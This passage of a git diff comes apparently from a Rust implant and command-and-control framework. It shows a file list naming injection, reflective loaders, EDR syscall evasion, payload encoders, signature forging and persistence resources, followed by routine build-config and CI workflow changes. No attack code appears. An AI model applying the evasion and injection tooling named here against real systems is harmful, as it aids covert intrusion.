malefic-crates/net/src/linux}/mod.rs (63%) rename {malefic-helper/src/linux/netstat => malefic-crates/net/src/linux}/netlink.rs (97%) rename {malefic-helper/src/linux/netstat => malefic-crates/net/src/linux}/procfs.rs (94%) rename {malefic-helper/src/linux/netstat => malefic-crates/net/src/linux}/socket.rs (95%) rename {malefic-helper/src/win/netstat => malefic-crates/net/src/win}/mod.rs (100%) create mode 100644 malefic-crates/process/Cargo.toml create mode 100644 malefic-crates/process/README.md rename {malefic-helper/src/darwin/process => malefic-crates/process/src/darwin}/mod.rs (66%) rename {malefic-helper/src/common => malefic-crates/process/src}/exec.rs (85%) rename malefic-helper/src/common/process.rs => malefic-crates/process/src/lib.rs (85%) rename {malefic-helper/src/linux/process => malefic-crates/process/src/linux}/mod.rs (66%) rename {malefic-helper/src/win/process => malefic-crates/process/src/win}/mod.rs (81%) create mode 100644 malefic-crates/proto/Cargo.toml create mode 100644 malefic-crates/proto/README.md create mode 100644 malefic-crates/proto/build.rs create mode 100644 malefic-crates/proto/src/lib.rs rename {malefic-proto => malefic-crates/proto}/src/proto/mod.rs (51%) rename {malefic-proto => malefic-crates/proto}/src/proto/modulepb.rs (57%) create mode 100644 malefic-crates/rem/Cargo.toml create mode 100644 malefic-crates/rem/README.md create mode 100644 malefic-crates/rem/build.rs create mode 100644 malefic-crates/rem/csrc/rem_bridge.c create mode 100644 malefic-crates/rem/examples/test_dll.rs rename malefic-helper/src/common/rem/mod.rs => malefic-crates/rem/src/lib.rs (53%) create mode 100644 malefic-crates/rem/src/rem_dynamic.rs rename {malefic-helper/src/common/rem => malefic-crates/rem/src}/rem_static.rs (71%) create mode 100644 malefic-crates/runtime/Cargo.toml create mode 100644 malefic-crates/runtime/src/host.rs create mode 100644 malefic-crates/runtime/src/lib.rs create mode 100644 malefic-crates/scheduler/Cargo.toml create mode 100644 malefic-crates/scheduler/README.md create mode 100644 malefic-crates/scheduler/src/collector.rs rename malefic-core/src/scheduler/mod.rs => malefic-crates/scheduler/src/lib.rs (69%) rename {malefic-core/src/scheduler => malefic-crates/scheduler/src}/task.rs (95%) create mode 100644 malefic-crates/srdi/Cargo.toml create mode 100644 malefic-crates/srdi/src/lib.rs create mode 100644 malefic-crates/srdi/src/loader.rs create mode 100644 malefic-crates/srdi/src/main.rs create mode 100644 malefic-crates/srdi/src/types.rs create mode 100644 malefic-crates/srdi/src/utils.rs create mode 100644 malefic-crates/stub/Cargo.toml create mode 100644 malefic-crates/stub/src/channel.rs create mode 100644 malefic-crates/stub/src/composition.rs create mode 100644 malefic-crates/stub/src/lib.rs create mode 100644 malefic-crates/stub/src/meta.rs create mode 100644 malefic-crates/stub/src/stub.rs create mode 100644 malefic-crates/stub/src/sys.rs create mode 100644 malefic-crates/sysinfo/Cargo.toml create mode 100644 malefic-crates/sysinfo/README.md rename malefic-helper/src/darwin/domain/mod.rs => malefic-crates/sysinfo/src/darwin/domain.rs (100%) rename malefic-helper/src/darwin/ipconfig/mod.rs => malefic-crates/sysinfo/src/darwin/ipconfig.rs (82%) rename {malefic-helper => malefic-crates/sysinfo}/src/darwin/mod.rs (59%) rename malefic-helper/src/darwin/whoami/mod.rs => malefic-crates/sysinfo/src/darwin/whoami.rs (100%) rename {malefic-helper/src/common => malefic-crates/sysinfo/src}/filesys.rs (85%) create mode 100644 malefic-crates/sysinfo/src/lib.rs rename malefic-helper/src/linux/domain/mod.rs => malefic-crates/sysinfo/src/linux/domain.rs (77%) rename malefic-helper/src/linux/ipconfig/mod.rs => malefic-crates/sysinfo/src/linux/ipconfig.rs (85%) rename {malefic-helper => malefic-crates/sysinfo}/src/linux/mod.rs (50%) rename malefic-helper/src/linux/whoami/mod.rs => malefic-crates/sysinfo/src/linux/whoami.rs (100%) create mode 100644 malefic-crates/sysinfo/src/win/clr.rs rename malefic-helper/src/win/domain/mod.rs => malefic-crates/sysinfo/src/win/domain.rs (68%) rename malefic-helper/src/win/driver/mod.rs => malefic-crates/sysinfo/src/win/driver.rs (73%) rename malefic-helper/src/win/ipconfig/mod.rs => malefic-crates/sysinfo/src/win/ipconfig.rs (76%) create mode 100644 malefic-crates/sysinfo/src/win/mod.rs rename malefic-helper/src/win/whoami/mod.rs => malefic-crates/sysinfo/src/win/whoami.rs (99%) create mode 100644 malefic-crates/transport/Cargo.toml create mode 100644 malefic-crates/transport/README.md create mode 100644 malefic-crates/transport/src/connection.rs rename {malefic-core/src/transport => malefic-crates/transport/src}/http/mod.rs (71%) create mode 100644 malefic-crates/transport/src/lib.rs rename {malefic-core/src/transport => malefic-crates/transport/src}/proxie/error.rs (80%) rename {malefic-core/src/transport => malefic-crates/transport/src}/proxie/http.rs (77%) rename {malefic-core/src/transport => malefic-crates/transport/src}/proxie/mod.rs (66%) rename {malefic-core/src/transport => malefic-crates/transport/src}/proxie/proxy.rs (64%) rename {malefic-core/src/transport => malefic-crates/transport/src}/proxie/socks5.rs (69%) rename {malefic-core/src/transport => malefic-crates/transport/src}/proxie/target.rs (89%) create mode 100644 malefic-crates/transport/src/proxie/utils.rs create mode 100644 malefic-crates/transport/src/rem/mod.rs create mode 100644 malefic-crates/transport/src/runner.rs create mode 100644 malefic-crates/transport/src/server_manager.rs create mode 100644 malefic-crates/transport/src/session.rs rename {malefic-core/src/transport => malefic-crates/transport/src}/tcp/mod.rs (60%) create mode 100644 malefic-crates/transport/src/tcp/native_tls.rs create mode 100644 malefic-crates/transport/src/tcp/tls.rs create mode 100644 malefic-crates/win/Cargo.toml create mode 100644 malefic-crates/win/README.md create mode 100644 malefic-crates/win/build.rs create mode 100644 malefic-crates/win/malefic_win_kit.h create mode 100644 malefic-crates/win/src/common/mod.rs create mode 100644 malefic-crates/win/src/detour/mod.rs create mode 100644 malefic-crates/win/src/kit/apis/mod.rs create mode 100644 malefic-crates/win/src/kit/binding/binding.rs create mode 100644 malefic-crates/win/src/kit/binding/mod.rs create mode 100644 malefic-crates/win/src/kit/bof/mod.rs rename {malefic-helper/src/win => malefic-crates/win/src}/kit/bypass/mod.rs (56%) create mode 100644 malefic-crates/win/src/kit/clr/mod.rs create mode 100644 malefic-crates/win/src/kit/hide/mod.rs create mode 100644 malefic-crates/win/src/kit/inject/create_thread/mod.rs create mode 100644 malefic-crates/win/src/kit/inject/mod.rs create mode 100644 malefic-crates/win/src/kit/mod.rs create mode 100644 malefic-crates/win/src/kit/pe/inlinepe.rs create mode 100644 malefic-crates/win/src/kit/pe/mod.rs create mode 100644 malefic-crates/win/src/kit/pe/reflective_loader.rs create mode 100644 malefic-crates/win/src/kit/pe/runpe.rs rename {malefic-helper/src/win => malefic-crates/win/src}/kit/pe/utils.rs (56%) create mode 100644 malefic-crates/win/src/kit/pwsh/mod.rs create mode 100644 malefic-crates/win/src/lib.rs rename {malefic-helper/src/win => malefic-crates/win/src}/pipe/mod.rs (58%) rename {malefic-helper/src/win => malefic-crates/win/src}/reg/mod.rs (62%) rename {malefic-helper/src/win => malefic-crates/win/src}/scheduler/mod.rs (62%) create mode 100644 malefic-crates/win/src/service/mod.rs create mode 100644 malefic-crates/win/src/sleep/allocator.rs create mode 100644 malefic-crates/win/src/sleep/config.rs create mode 100644 malefic-crates/win/src/sleep/hypnus.rs create mode 100644 malefic-crates/win/src/sleep/mod.rs create mode 100644 malefic-crates/win/src/sleep/types.rs create mode 100644 malefic-crates/win/src/sleep/winapis.rs rename {malefic-helper/src/win => malefic-crates/win/src}/token/mod.rs (81%) create mode 100644 malefic-crates/win/src/types/mod.rs create mode 100644 malefic-crates/win/src/wmi/connection.rs create mode 100644 malefic-crates/win/src/wmi/exec.rs create mode 100644 malefic-crates/win/src/wmi/mod.rs create mode 100644 malefic-crates/win/src/wmi/query.rs create mode 100644 malefic-crates/win/src/wmi/result_enumerator.rs create mode 100644 malefic-crates/win/src/wmi/safearray.rs create mode 100644 malefic-crates/win/src/wmi/utils.rs create mode 100644 malefic-crates/win/src/wmi/variant.rs delete mode 100644 malefic-helper/Cargo.toml delete mode 100644 malefic-helper/build.rs delete mode 100644 malefic-helper/malefic_win_kit.h delete mode 100644 malefic-helper/src/common/hot_modules.rs delete mode 100644 malefic-helper/src/common/loader.rs delete mode 100644 malefic-helper/src/common/memory.rs delete mode 100644 malefic-helper/src/common/mod.rs delete mode 100644 malefic-helper/src/common/net.rs delete mode 100644 malefic-helper/src/common/rem/rem_reflection.rs delete mode 100644 malefic-helper/src/common/sysinfo.rs delete mode 100644 malefic-helper/src/lib.rs delete mode 100644 malefic-helper/src/linux/dynamic/mod.rs delete mode 100644 malefic-helper/src/linux/loader/pthread.rs delete mode 100644 malefic-helper/src/win/anti/mod.rs delete mode 100644 malefic-helper/src/win/clr/mod.rs delete mode 100644 malefic-helper/src/win/common/mod.rs delete mode 100644 malefic-helper/src/win/inject/create_thread/mod.rs delete mode 100644 malefic-helper/src/win/inject/mod.rs delete mode 100644 malefic-helper/src/win/kit/apis/mod.rs delete mode 100644 malefic-helper/src/win/kit/bindings.rs delete mode 100644 malefic-helper/src/win/kit/bof/mod.rs delete mode 100644 malefic-helper/src/win/kit/clr/mod.rs delete mode 100644 malefic-helper/src/win/kit/func/mod.rs delete mode 100644 malefic-helper/src/win/kit/mod.rs delete mode 100644 malefic-helper/src/win/kit/pe/inlinepe.rs delete mode 100644 malefic-helper/src/win/kit/pe/mod.rs delete mode 100644 malefic-helper/src/win/kit/pe/reflective_loader.rs delete mode 100644 malefic-helper/src/win/kit/pe/runpe.rs delete mode 100644 malefic-helper/src/win/kit/pwsh/mod.rs delete mode 100644 malefic-helper/src/win/loader/apc/mod.rs delete mode 100644 malefic-helper/src/win/mod.rs delete mode 100644 malefic-helper/src/win/service/mod.rs delete mode 100644 malefic-helper/src/win/types/mod.rs delete mode 100644 malefic-helper/src/win/wmi/mod.rs delete mode 100644 malefic-helper/tests/test_anti.rs delete mode 100644 malefic-helper/tests/test_common.rs delete mode 100644 malefic-helper/tests/test_pipe.rs delete mode 100644 malefic-helper/tests/test_process.rs delete mode 100644 malefic-helper/tests/test_reg.rs delete mode 100644 malefic-helper/tests/test_schelduler.rs delete mode 100644 malefic-helper/tests/test_service.rs delete mode 100644 malefic-helper/tests/test_token.rs delete mode 100644 malefic-helper/tests/test_win.rs delete mode 100644 malefic-helper/tests/test_wmi.rs create mode 100644 malefic-modules/src/fs/touch.rs create mode 100644 malefic-modules/src/sys/self_dele.rs create mode 100644 malefic-modules/src/sys/thread_spawn_test.rs delete mode 100644 malefic-modules/tests/test_module.rs create mode 100644 malefic-mutant/README.md create mode 100644 malefic-mutant/build.rs rename config_lint.json => malefic-mutant/config_lint.json (60%) create mode 100644 malefic-mutant/src/build/pulse/winhttp.rs create mode 100644 malefic-mutant/src/build/pulse/wininet.rs create mode 100644 malefic-mutant/src/generate/cargo_features.rs create mode 100644 malefic-mutant/src/generate/codegen.rs delete mode 100644 malefic-mutant/src/generate/config_3rd.rs delete mode 100644 malefic-mutant/src/generate/config_core.rs delete mode 100644 malefic-mutant/src/generate/config_helper.rs delete mode 100644 malefic-mutant/src/generate/config_malefic.rs delete mode 100644 malefic-mutant/src/generate/config_modules.rs delete mode 100644 malefic-mutant/src/generate/config_prelude.rs delete mode 100644 malefic-mutant/src/generate/config_proto.rs delete mode 100644 malefic-mutant/src/generate/config_pulse.rs delete mode 100644 malefic-mutant/src/generate/config_toml.rs delete mode 100644 malefic-mutant/src/generate/config_winkit.rs delete mode 100644 malefic-mutant/src/generate/config_workspace.rs create mode 100644 malefic-mutant/src/generate/features.rs create mode 100644 malefic-mutant/src/generate/prelude.rs rename malefic-mutant/src/generate/{config_metadata.rs => resources.rs} (92%) create mode 100644 malefic-mutant/src/generate/spites.rs create mode 100644 malefic-mutant/src/tool/binder/embed.rs create mode 100644 malefic-mutant/src/tool/binder/metadata.rs create mode 100644 malefic-mutant/src/tool/binder/mod.rs create mode 100644 malefic-mutant/src/tool/encoder/aes2.rs create mode 100644 malefic-mutant/src/tool/encoder/aes_enc.rs create mode 100644 malefic-mutant/src/tool/encoder/base45.rs create mode 100644 malefic-mutant/src/tool/encoder/base58.rs create mode 100644 malefic-mutant/src/tool/encoder/base64_enc.rs create mode 100644 malefic-mutant/src/tool/encoder/chacha.rs create mode 100644 malefic-mutant/src/tool/encoder/des_enc.rs create mode 100644 malefic-mutant/src/tool/encoder/ipv4.rs create mode 100644 malefic-mutant/src/tool/encoder/mac.rs create mode 100644 malefic-mutant/src/tool/encoder/mod.rs create mode 100644 malefic-mutant/src/tool/encoder/rc4.rs create mode 100644 malefic-mutant/src/tool/encoder/uuid.rs create mode 100644 malefic-mutant/src/tool/encoder/xor.rs create mode 100644 malefic-mutant/src/tool/entropy/calculator.rs create mode 100644 malefic-mutant/src/tool/entropy/mod.rs create mode 100644 malefic-mutant/src/tool/entropy/reducer.rs create mode 100644 malefic-mutant/src/tool/icon/ico_parser.rs create mode 100644 malefic-mutant/src/tool/icon/mod.rs create mode 100644 malefic-mutant/src/tool/icon/replace.rs create mode 100644 malefic-mutant/src/tool/icon/resource.rs create mode 100644 malefic-mutant/src/tool/loader/bdf/evasion.rs create mode 100644 malefic-mutant/src/tool/loader/bdf/mod.rs create mode 100644 malefic-mutant/src/tool/loader/bdf/pe.rs create mode 100644 malefic-mutant/src/tool/loader/bdf/resolver.rs create mode 100644 malefic-mutant/src/tool/loader/mod.rs create mode 100644 malefic-mutant/src/tool/loader/patch.rs create mode 100644 malefic-mutant/src/tool/loader/proxydll_loader.rs create mode 100644 malefic-mutant/src/tool/loader/template.rs create mode 100644 malefic-mutant/src/tool/sigforge/carbon_copy.rs create mode 100644 malefic-mutant/src/tool/watermark/methods.rs create mode 100644 malefic-mutant/src/tool/watermark/mod.rs delete mode 100644 malefic-prelude/src/autorun/mod.rs delete mode 100644 malefic-prelude/src/lib.rs delete mode 100644 malefic-prelude/src/scheduler/mod.rs delete mode 100644 malefic-prelude/tests/test_autorun.rs delete mode 100644 malefic-prelude/tests/test_scheduler.rs delete mode 100644 malefic-proto/Cargo.toml delete mode 100644 malefic-proto/build.rs delete mode 100644 malefic-proto/src/compress/mod.rs delete mode 100644 malefic-proto/src/crypto/age.rs delete mode 100644 malefic-proto/src/lib.rs delete mode 100644 malefic-proto/src/prelude.rs delete mode 100644 malefic-proto/src/proto/implantpb.rs delete mode 100644 malefic-proto/src/scheduler.rs delete mode 100644 malefic-proto/tests/test_age.rs delete mode 100644 malefic-proto/tests/test_compress.rs delete mode 100644 malefic-proto/tests/test_crypto.rs create mode 100644 malefic-proxydll/proxy.def create mode 100644 malefic-pulse/scripts/linker.ld create mode 100644 malefic-pulse/src/constants.rs create mode 100644 malefic-pulse/src/hash.rs create mode 100644 malefic-pulse/src/instance.rs create mode 100644 malefic-pulse/src/lib.rs create mode 100644 malefic-pulse/src/memory.rs create mode 100644 malefic-pulse/src/resolve.rs create mode 100644 malefic-pulse/src/template/instance_template create mode 100644 malefic-pulse/src/windows.rs create mode 100644 malefic-starship/Cargo.lock create mode 100644 malefic-starship/Cargo.toml create mode 100644 malefic-starship/README.md create mode 100644 malefic-starship/asm/direct_syscall.asm create mode 100644 malefic-starship/asm/edr_syscall_1.asm create mode 100644 malefic-starship/asm/edr_syscall_2.asm create mode 100644 malefic-starship/asm/indirect_syscall.asm create mode 100644 malefic-starship/asm/woodpecker_assm.asm create mode 100644 malefic-starship/src/decoder/mod.rs create mode 100644 malefic-starship/src/launch.rs create mode 100644 malefic-starship/src/lib.rs create mode 100644 malefic-starship/src/loaders/basic_template.rs create mode 100644 malefic-starship/src/loaders/common.rs create mode 100644 malefic-starship/src/loaders/func_ptr.rs create mode 100644 malefic-starship/src/loaders/mod.rs create mode 100644 malefic-starship/src/main.rs create mode 100644 malefic-starship/src/obf.rs create mode 100644 malefic-starship/src/types.rs delete mode 100644 malefic-trait/Cargo.toml delete mode 100644 malefic-trait/src/lib.rs delete mode 100644 malefic.yar create mode 100644 malefic/src/bootstrap.rs delete mode 100644 malefic/src/malefic.rs delete mode 100644 malefic/src/meta.rs create mode 100644 malefic/src/session_loop.rs delete mode 100644 malefic/src/stub.rs create mode 100644 profiles/README.md create mode 100644 profiles/malefic-http/implant.yaml create mode 100644 profiles/malefic-https/implant.yaml create mode 100644 profiles/malefic-mini-modules/implant.yaml create mode 100644 profiles/malefic-nano-modules/implant.yaml create mode 100644 profiles/malefic-rem/implant.yaml create mode 100644 profiles/malefic-tcp-tls/implant.yaml create mode 100644 profiles/malefic-tcp/implant.yaml create mode 100644 profiles/malefic-with-prelude/implant.yaml create mode 100644 profiles/malefic-with-prelude/prelude.yaml create mode 100644 profiles/malefic-with-prelude/resources/persist_with_reg.x64.o create mode 100644 profiles/prelude-shellcode/implant.yaml create mode 100644 profiles/prelude-shellcode/prelude.yaml create mode 100644 profiles/prelude-shellcode/resources/shellcode.bin create mode 100644 profiles/pulse-tcp/implant.yaml create mode 100644 profiles/pulse-winhttp-http/implant.yaml create mode 100644 profiles/pulse-winhttp-https/implant.yaml create mode 100644 profiles/pulse-wininet-http/implant.yaml create mode 100644 profiles/pulse-wininet-https/implant.yaml create mode 100755 resources/YY-Thunks-Objs/Readme.md create mode 100755 resources/YY-Thunks-Objs/ThunksList.md create mode 100755 resources/YY-Thunks-Objs/objs/x64/YY_Thunks_for_WinXP.obj create mode 100755 resources/YY-Thunks-Objs/objs/x86/YY_Thunks_for_WinXP.obj create mode 100644 resources/malefic.rc diff --git a/.cargo/config.toml b/.cargo/config.toml index 8f8d433..f60119c 100644 --- a/.cargo/config.toml +++ b/.cargo/config.toml @@ -1,23 +1,22 @@ [build] jobs=8 -[net] -retry = 3 -git-fetch-with-cli = true [target.x86_64-pc-windows-gnu] rustflags = [ "-C", "link-arg=-s", + "-C", "link-arg=-Wl,--gc-sections", ] -[target.i686-pc-windows-gnu] +[target.x86_64-pc-windows-msvc] rustflags = [ - "-C", "link-arg=-s", + "-C","link-arg=/DEBUG:NONE", + "-C", "target-feature=+crt-static", ] -[target.x86_64-pc-windows-msvc] +[target.i686-pc-windows-msvc] rustflags = [ - "-C", "link-arg=/DEBUG:NONE", + "-C", "link-args=/SUBSYSTEM:CONSOLE,5.01", ] [target.'cfg(target_os = "macos")'] @@ -25,9 +24,13 @@ rustflags = [ "-C", "link-arg=-dead_strip" ] -[target.'cfg(not(target_os = "macos"))'] +[target.'cfg(target_os = "linux")'] rustflags = [ "-C", "link-arg=-Wl,--gc-sections", "-C", "link-arg=-Wl,--strip-all", - "-C", "link-arg=-Wl,--allow-multiple-definition", -] \ No newline at end of file +] + +# [target.'cfg(target_os = "windows")'] +# rustflags = [ +# "-C", "target-feature=+crt-static", +# ] diff --git a/.github/workflows/bundle-full-source.yml b/.github/workflows/bundle-full-source.yml new file mode 100644 index 0000000..69c5f2b --- /dev/null +++ b/.github/workflows/bundle-full-source.yml @@ -0,0 +1,165 @@ +name: bundle-full-source + +on: + workflow_dispatch: + inputs: + tag_name: + description: 'Release tag to bundle' + required: true + default: 'v0.0.1' + resource_asset_name: + description: 'Existing release asset name to merge into resources/' + required: true + default: 'resources.zip' + merge_strategy: + description: 'How to handle duplicate files under resources/' + required: true + type: choice + default: 'fail' + options: + - fail + - overwrite + bundle_asset_name: + description: 'Optional override for the uploaded bundle asset name' + required: false + default: '' + +permissions: + contents: write + +jobs: + bundle-full-source: + runs-on: ubuntu-22.04 + env: + TAG_NAME: ${{ inputs.tag_name }} + RESOURCE_ASSET_NAME: ${{ inputs.resource_asset_name }} + MERGE_STRATEGY: ${{ inputs.merge_strategy }} + steps: + - name: Checkout tagged source + uses: actions/checkout@v4 + with: + ref: ${{ inputs.tag_name }} + submodules: recursive + fetch-depth: 0 + + - name: Install Rust toolchain for cargo vendor + uses: dtolnay/rust-toolchain@nightly + + - name: Resolve bundle names + id: bundle_names + shell: bash + run: | + version="${TAG_NAME}" + root_dir="malefic-community-${version}-full-source" + bundle_name="${{ inputs.bundle_asset_name }}" + + if [[ -z "$bundle_name" ]]; then + bundle_name="${root_dir}.zip" + fi + + echo "ROOT_DIR=$root_dir" >> "$GITHUB_OUTPUT" + echo "BUNDLE_NAME=$bundle_name" >> "$GITHUB_OUTPUT" + + - name: Download resource archive from release + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + shell: bash + run: | + mkdir -p .release-assets + gh release download "$TAG_NAME" \ + --repo "${GITHUB_REPOSITORY}" \ + --pattern "$RESOURCE_ASSET_NAME" \ + --dir .release-assets \ + --clobber + + test -f ".release-assets/$RESOURCE_ASSET_NAME" + + - name: Merge resource archive into resources/ + shell: bash + run: | + mkdir -p resources .bundle-work/resources-unpacked + unzip -q ".release-assets/$RESOURCE_ASSET_NAME" -d .bundle-work/resources-unpacked + + shopt -s dotglob nullglob + extracted=(.bundle-work/resources-unpacked/*) + merge_root=".bundle-work/resources-unpacked" + + if [[ ${#extracted[@]} -eq 1 && -d "${extracted[0]}" && "$(basename "${extracted[0]}")" == "resources" ]]; then + merge_root="${extracted[0]}" + fi + + if [[ "$MERGE_STRATEGY" == "fail" ]]; then + conflicts=() + + while IFS= read -r -d '' file; do + rel_path="${file#${merge_root}/}" + if [[ -e "resources/${rel_path}" ]]; then + conflicts+=("${rel_path}") + fi + done < <(find "$merge_root" -type f -print0) + + if [[ ${#conflicts[@]} -gt 0 ]]; then + echo "::error::Detected conflicting resource files:" + printf ' - %s\n' "${conflicts[@]:0:20}" + if [[ ${#conflicts[@]} -gt 20 ]]; then + echo " - ... and $(( ${#conflicts[@]} - 20 )) more" + fi + exit 1 + fi + fi + + rsync -a "${merge_root}/" resources/ + + - name: Vendor Rust dependencies + shell: bash + run: | + mkdir -p .bundle-work .cargo + + cargo vendor --locked --versioned-dirs vendor \ + --sync examples/ffi/rust/Cargo.toml \ + --sync examples/starship/Cargo.toml \ + --sync lib/rage/Cargo.toml \ + --sync malefic-3rd-template/Cargo.toml \ + --sync malefic-proxydll/Cargo.toml \ + --sync malefic-starship/Cargo.toml \ + > .bundle-work/cargo-vendor-config.toml + + if [[ -f .cargo/config.toml ]]; then + cp .cargo/config.toml .bundle-work/base-config.toml + printf '\n' >> .bundle-work/base-config.toml + cat .bundle-work/base-config.toml .bundle-work/cargo-vendor-config.toml > .cargo/config.toml + else + cp .bundle-work/cargo-vendor-config.toml .cargo/config.toml + fi + + - name: Build complete source archive + shell: bash + run: | + root_dir="${{ steps.bundle_names.outputs.ROOT_DIR }}" + bundle_name="${{ steps.bundle_names.outputs.BUNDLE_NAME }}" + stage_dir="dist/${root_dir}" + + mkdir -p "$stage_dir" + rsync -a ./ "$stage_dir"/ \ + --exclude '.git' \ + --exclude '.bundle-work' \ + --exclude '.release-assets' \ + --exclude 'dist' \ + --exclude 'target' \ + --exclude '.DS_Store' + + ( + cd dist + zip -qry -y "$bundle_name" "$root_dir" + ) + + - name: Upload complete source archive + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + shell: bash + run: | + bundle_name="${{ steps.bundle_names.outputs.BUNDLE_NAME }}" + gh release upload "$TAG_NAME" \ + "dist/${bundle_name}" \ + --repo "${GITHUB_REPOSITORY}" \ + --clobber diff --git a/.github/workflows/check.yaml b/.github/workflows/check.yaml new file mode 100644 index 0000000..89f8dad --- /dev/null +++ b/.github/workflows/check.yaml @@ -0,0 +1,123 @@ +name: check + +on: + push: + branches: [main, master] + pull_request: + branches: [main, master] + workflow_dispatch: + inputs: + target: + description: '指定 target(留空跑全部)' + required: false + default: '' + phase: + description: 'check / feature / test / mutant / profile / all' + required: false + default: 'all' + toolchain: + description: 'Rust toolchain (e.g. nightly-2024-09-18)' + required: false + default: 'nightly-2024-09-18' + +permissions: + contents: read + +jobs: + check-linux: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + target: + - x86_64-unknown-linux-musl + - x86_64-pc-windows-gnu + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + submodules: recursive + token: ${{ secrets.GH_PAT }} + + - name: Install Rust toolchain + uses: dtolnay/rust-toolchain@master + with: + toolchain: ${{ github.event.inputs.toolchain || 'nightly-2024-09-18' }} + targets: ${{ matrix.target }} + + - name: Install cross-compilation tools + run: | + sudo apt-get update + sudo apt-get install -y gcc-mingw-w64-x86-64 musl-tools protobuf-compiler + sudo ln -sf /usr/bin/musl-gcc /usr/local/bin/x86_64-linux-musl-gcc + + - name: Rust cache + uses: Swatinem/rust-cache@v2 + with: + shared-key: "check-${{ matrix.target }}" + cache-targets: true + cache-all-crates: true + save-if: ${{ github.event_name == 'push' || github.event_name == 'workflow_dispatch' }} + + - name: Fix line endings + run: | + sudo apt-get install -y dos2unix 2>/dev/null || true + find scripts/check -name '*.sh' -exec dos2unix {} + 2>/dev/null || \ + find scripts/check -name '*.sh' -exec sed -i 's/\r$//' {} + + + - name: Determine phase + id: phase + run: | + if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then + echo "value=${{ github.event.inputs.phase || 'all' }}" >> $GITHUB_OUTPUT + else + echo "value=test" >> $GITHUB_OUTPUT + fi + + - name: Run checks + run: | + chmod +x scripts/check/check.sh scripts/check/profile.sh + ./scripts/check/check.sh --target ${{ matrix.target }} --phase ${{ steps.phase.outputs.value }} --ci + + check-darwin: + runs-on: macos-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + submodules: recursive + token: ${{ secrets.GH_PAT }} + + - name: Install protobuf + run: brew install protobuf + + - name: Install Rust toolchain + uses: dtolnay/rust-toolchain@master + with: + toolchain: ${{ github.event.inputs.toolchain || 'nightly-2024-09-18' }} + + - name: Rust cache + uses: Swatinem/rust-cache@v2 + with: + shared-key: "check-aarch64-apple-darwin" + cache-targets: true + cache-all-crates: true + save-if: ${{ github.event_name == 'push' || github.event_name == 'workflow_dispatch' }} + + - name: Fix line endings + run: | + find scripts/check -name '*.sh' -exec sed -i '' 's/\r$//' {} + + + - name: Determine phase + id: phase + run: | + if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then + echo "value=${{ github.event.inputs.phase || 'all' }}" >> $GITHUB_OUTPUT + else + echo "value=test" >> $GITHUB_OUTPUT + fi + + - name: Run checks + run: | + chmod +x scripts/check/check.sh scripts/check/profile.sh + ./scripts/check/check.sh --target aarch64-apple-darwin --phase ${{ steps.phase.outputs.value }} --ci diff --git a/.github/workflows/generate.yaml b/.github/workflows/generate.yaml index b6c48be..611b967 100644 --- a/.github/workflows/generate.yaml +++ b/.github/workflows/generate.yaml @@ -27,10 +27,10 @@ on: required: false default: 'full' malefic_config_yaml: - description: 'Malefic config (Base64-encoded content of config.yaml , will be masked in logs)' + description: 'Malefic config (Base64-encoded content of implant.yaml , will be masked in logs)' required: false autorun_yaml: - description: 'Autorun config (Base64-encoded content of autorun.yaml , will be masked in logs)' + description: 'Autorun config (Base64-encoded content of prelude.yaml , will be masked in logs)' required: false run-name: ${{ github.event.inputs.remark }} @@ -61,7 +61,7 @@ jobs: - name: Checkout code uses: actions/checkout@v4 with: - token: ${{ secrets.GITHUB_TOKEN }} + token: ${{ secrets.GH_PAT }} submodules: recursive fetch-depth: 0 @@ -81,10 +81,10 @@ jobs: echo "arch=x86" >> $GITHUB_ENV fi - - name: Install Resource + - name: Setup resources run: | - wget https://github.com/chainreactors/malefic/releases/latest/download/resources.zip - unzip resources.zip -d resources + # Community edition: resources (prebuild .a/.lib) are already in the repository + ls resources/ - name: Generate cache key id: mutant_cache_key @@ -116,7 +116,7 @@ jobs: cp target/x86_64-unknown-linux-musl/release/malefic-mutant malefic-mutant-x86_64-unknown-linux-musl chmod +x malefic-mutant-x86_64-unknown-linux-musl - - name: Generate config.yaml + - name: Generate implant.yaml if : ${{ github.event.inputs.malefic_config_yaml != null }} run: | SECRET_CONFIG_YAML_CONTENT=$(jq -r '.inputs.malefic_config_yaml' $GITHUB_EVENT_PATH) @@ -125,7 +125,7 @@ jobs: echo "SECRET_CONFIG_YAML_CONTENT=$SECRET_CONFIG_YAML_CONTENT" >> $GITHUB_ENV echo "$SECRET_CONFIG_YAML_CONTENT" | base64 -d > config.yaml - - name: Generate autorun.yaml + - name: Generate prelude.yaml if : ${{ github.event.inputs.autorun_yaml != null }} run: | SECRET_AUTORUN_YAML_CONTENT=$(jq -r '.inputs.autorun_yaml' $GITHUB_EVENT_PATH) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index a4e7b5e..bc57d74 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -22,22 +22,27 @@ jobs: create-release: runs-on: ubuntu-22.04 outputs: - VERSION: ${{ steps.set_version.outputs.VERSION }} + VERSION: ${{ steps.release_context.outputs.VERSION }} + DRAFT: ${{ steps.release_context.outputs.DRAFT }} steps: - name: Checkout code uses: actions/checkout@v4 with: submodules: recursive - - name: Set Version - id: set_version + - name: Set release context + id: release_context run: | if [ "${{ github.event_name }}" == "push" ]; then VERSION=${GITHUB_REF#refs/tags/} + DRAFT=true else VERSION=${{ inputs.tag_name }} + DRAFT=${{ inputs.draft }} fi + echo "VERSION=$VERSION" >> $GITHUB_OUTPUT + echo "DRAFT=$DRAFT" >> $GITHUB_OUTPUT - name: Create release id: create_release @@ -45,46 +50,13 @@ jobs: env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: - tag_name: ${{ steps.set_version.outputs.VERSION }} - release_name: Release ${{ steps.set_version.outputs.VERSION }} + tag_name: ${{ steps.release_context.outputs.VERSION }} + release_name: Release ${{ steps.release_context.outputs.VERSION }} body: | - Release ${{ steps.set_version.outputs.VERSION }} - draft: true + Release ${{ steps.release_context.outputs.VERSION }} + draft: ${{ steps.release_context.outputs.DRAFT == 'true' }} prerelease: false - - name: Download win-kit resources - uses: robinraju/release-downloader@v1.11 - with: - repository: "chainreactors/malefic-win-kit" - latest: true - fileName: "community_resource.zip" - token: 